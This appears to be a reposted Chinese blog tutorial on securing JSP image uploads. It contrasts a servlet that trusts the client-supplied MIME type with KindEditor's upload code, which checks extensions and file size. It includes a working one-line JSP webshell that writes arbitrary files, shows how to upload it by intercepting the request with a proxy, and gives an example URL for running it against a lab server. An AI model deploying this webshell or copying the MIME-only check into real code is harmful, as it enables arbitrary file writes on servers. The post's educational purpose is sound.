jsp图片文件上传及基本安全

之前写过jsp图片上传的程序,没有考虑它的安全性,很容易被文件上传攻击。我希望自己多点这方面的尝试,写出比较不容易被攻击的图片上传程序。

先简单写一个jsp图片上传程序,新建一个web工程,index.jsp为

<%--
  Created by IntelliJ IDEA.
  User: vocus
  Date: 2020/4/14
  Time: 17:02
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>上传图片测试</title>
  </head>
  <body>
  选择要上传的图片:
  <br/>
  <form enctype="multipart/form-data" action="UploadImg" method="post">
    <input type="file" name="uploaded"/>
    <br/>
    <br/>
    <input name="Upload" value="上传" type="submit"/>
    <% %>
    <div id="messageBox" style="color: red">${uploadMessage}</div>
  </form>
  </body>
</html>

UploadImgServlet

//问题代码,包含文件上传漏洞,不要使用
public class UploadImgServlet extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        req.setCharacterEncoding("utf-8");
        ServletInputStream in=req.getInputStream();
        byte[] bytes=in.readAllBytes();
        in.close();
        String str=new String(bytes);
        //获得MIME类型
        int mimeStart=str.indexOf("Content-Type:")+"Content-Type:".length();
        int mineEnd=str.indexOf("\n",mimeStart)-1;
        String mime=str.substring(mimeStart,mineEnd).replace(" ","");
        //获得Boundary
        String contentType=req.getContentType();
        int boundaryStart=contentType.indexOf("boundary=")+"boundary=".length();
        String boundary="--"+contentType.substring(boundaryStart);
        //获得文件名
        int filenameStart=str.indexOf("filename=")+"filename=".length();
        int filenameEnd=str.indexOf("\n",filenameStart)-1;
        String filename=str.substring(filenameStart,filenameEnd).replace("\"","");
        //文件保存路径
        String savePath=req.getSession().getServletContext().getRealPath("/")+"../upload/";
        //检查MIME类型
        if(mime.equals("image/jpeg")){
            //获得文件起始位置
            int fileStart=mineEnd+1+1+1+1;
            int contentStart=str.substring(0,fileStart).getBytes().length;
            int fileEnd=str.indexOf(boundary,fileStart)-1;
            int contentEnd=str.substring(0,fileEnd).getBytes().length;
            int extraLen=str.substring(fileEnd+1,str.length()).getBytes().length;
            int contentLen=bytes.length-extraLen-fileStart;
            //写入文件
            FileOutputStream out=new FileOutputStream(savePath+filename);
            out.write(bytes,contentStart,contentLen-1);
            out.close();
            req.setAttribute("uploadMessage","文件上传成功!");
            req.getRequestDispatcher("index.jsp").forward(req,resp);
        }else{
            req.setAttribute("uploadMessage","上传文件类型错误,请上传jpg文件");
            req.getRequestDispatcher("index.jsp").forward(req,resp);

        }
    }
}

 这个程序的问题在于,使用了MIME类型来判断用户上传的图片的类型,而MIME类型是可以被用户修改的。

这里简单做个测试:

先要在linux上配置jsp运行环境

然后找个简单的jsp一句话木马,保存为test.jsp

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

(这段代码就是把request请求的两个参数f和t,f作为文件名,t作为f文件的内容,写入到图片上传目录)

回到文件上传的代码,之前只是判断了一下MIME类型,这个MIME类型是可以通过代理拦截修改的

通过代理拦截,test.jsp已经被上传至服务器目录

然后我们可以以例如http://192.168.149.130:8080/upload/test.jsp?f=1.txt&t=hello的方式提交请求,就将内容为hello的1.txt文件写入到目录

临时的解决办法是:在图片上传时把对MIME类型判断,变成判断文件后缀名为jpeg格式或其他图片格式

更规范的做法可以参考KindEditor的图片上传程序,以下是KindEditor的图片上传程序upload_json.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.util.*,java.io.*" %>
<%@ page import="java.text.SimpleDateFormat" %>
<%@ page import="org.apache.commons.fileupload.*" %>
<%@ page import="org.apache.commons.fileupload.disk.*" %>
<%@ page import="org.apache.commons.fileupload.servlet.*" %>
<%@ page import="org.json.simple.*" %>
<%@ page import="java.beans.Encoder" %>
<%
/**
 * KindEditor JSP
 * 
 * 本JSP程序是演示程序,建议不要直接在实际项目中使用。
 * 如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。
 * 
 */

//文件保存目录路径
//String savePath = pageContext.getServletContext().getRealPath("/") + "attached/";
String savePath=request.getSession().getServletContext().getRealPath("/");
//String savePath = this.getClass().getResource("/").getPath().replaceAll("^\\/", "")+"kindeditor-4.1.11-zh-CN/kindeditor/attached";
//System.out.println(savePath);

//文件保存目录URL
String saveUrl  =request.getSession().getServletContext().getRealPath("/");;

//定义允许上传的文件扩展名
HashMap<String, String> extMap = new HashMap<String, String>();
extMap.put("image", "gif,jpg,jpeg,png,bmp");
extMap.put("flash", "swf,flv");
extMap.put("media", "swf,flv,mp3,wav,wma,wmv,mid,avi,mpg,asf,rm,rmvb");
extMap.put("file", "doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2");

//最大文件大小
long maxSize = 1000000;

response.setContentType("text/html; charset=UTF-8");

if(!ServletFileUpload.isMultipartContent(request)){
    out.println(getError("请选择文件。"));
    return;
}
//检查目录
File uploadDir = new File(savePath);
if(!uploadDir.isDirectory()){
    out.println(getError("上传目录不存在。"));
    return;
}
//检查目录写权限
if(!uploadDir.canWrite()){
    out.println(getError("上传目录没有写权限。"));
    return;
}

String dirName = request.getParameter("dir");
if (dirName == null) {
    dirName = "image";
}
if(!extMap.containsKey(dirName)){
    out.println(getError("目录名不正确。"));
    return;
}
//创建文件夹
savePath += dirName + "/";
saveUrl += dirName + "/";
File saveDirFile = new File(savePath);
if (!saveDirFile.exists()) {
    saveDirFile.mkdirs();
}
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd");
String ymd = sdf.format(new Date());
savePath += ymd + "/";
saveUrl += ymd + "/";
File dirFile = new File(savePath);
if (!dirFile.exists()) {
    dirFile.mkdirs();
}

FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
List items = upload.parseRequest(request);
Iterator itr = items.iterator();
while (itr.hasNext()) {
    FileItem item = (FileItem) itr.next();
    String fileName = item.getName();
    long fileSize = item.getSize();
    if (!item.isFormField()) {
        //检查文件大小
        if(item.getSize() > maxSize){
            out.println(getError("上传文件大小超过限制。"));
            return;
        }
        //检查扩展名
        String fileExt = fileName.substring(fileName.lastIndexOf(".") + 1).toLowerCase();
        if(!Arrays.<String>asList(extMap.get(dirName).split(",")).contains(fileExt)){
            out.println(getError("上传文件扩展名是不允许的扩展名。\n只允许" + extMap.get(dirName) + "格式。"));
            return;
        }

        SimpleDateFormat df = new SimpleDateFormat("yyyyMMddHHmmss");
        String newFileName = df.format(new Date()) + "_" + new Random().nextInt(1000) + "." + fileExt;
        try{
            File uploadedFile = new File(savePath, newFileName);
            item.write(uploadedFile);
        }catch(Exception e){
            out.println(getError("上传文件失败。"));
            return;
        }

        JSONObject obj = new JSONObject();
        //
        String saveUrlEncode="data:image/jpeg;base64,"+getBaseImg(saveUrl + newFileName);
        obj.put("error", 0);
        obj.put("url", saveUrlEncode);
        out.println(obj.toJSONString());
    }
}
%>
<%!
private String getError(String message) {
    JSONObject obj = new JSONObject();
    obj.put("error", 1);
    obj.put("message", message);
    return obj.toJSONString();
}
%>

它对上传图片做了三个处理,一是检查文件大小,二是把上传文件名称改成上传时间,三是检查上传文件的后缀名。如果考虑到上传文件安全性,最重要的是第三点吧。

猜你喜欢

转载自www.cnblogs.com/vocus/p/12700016.html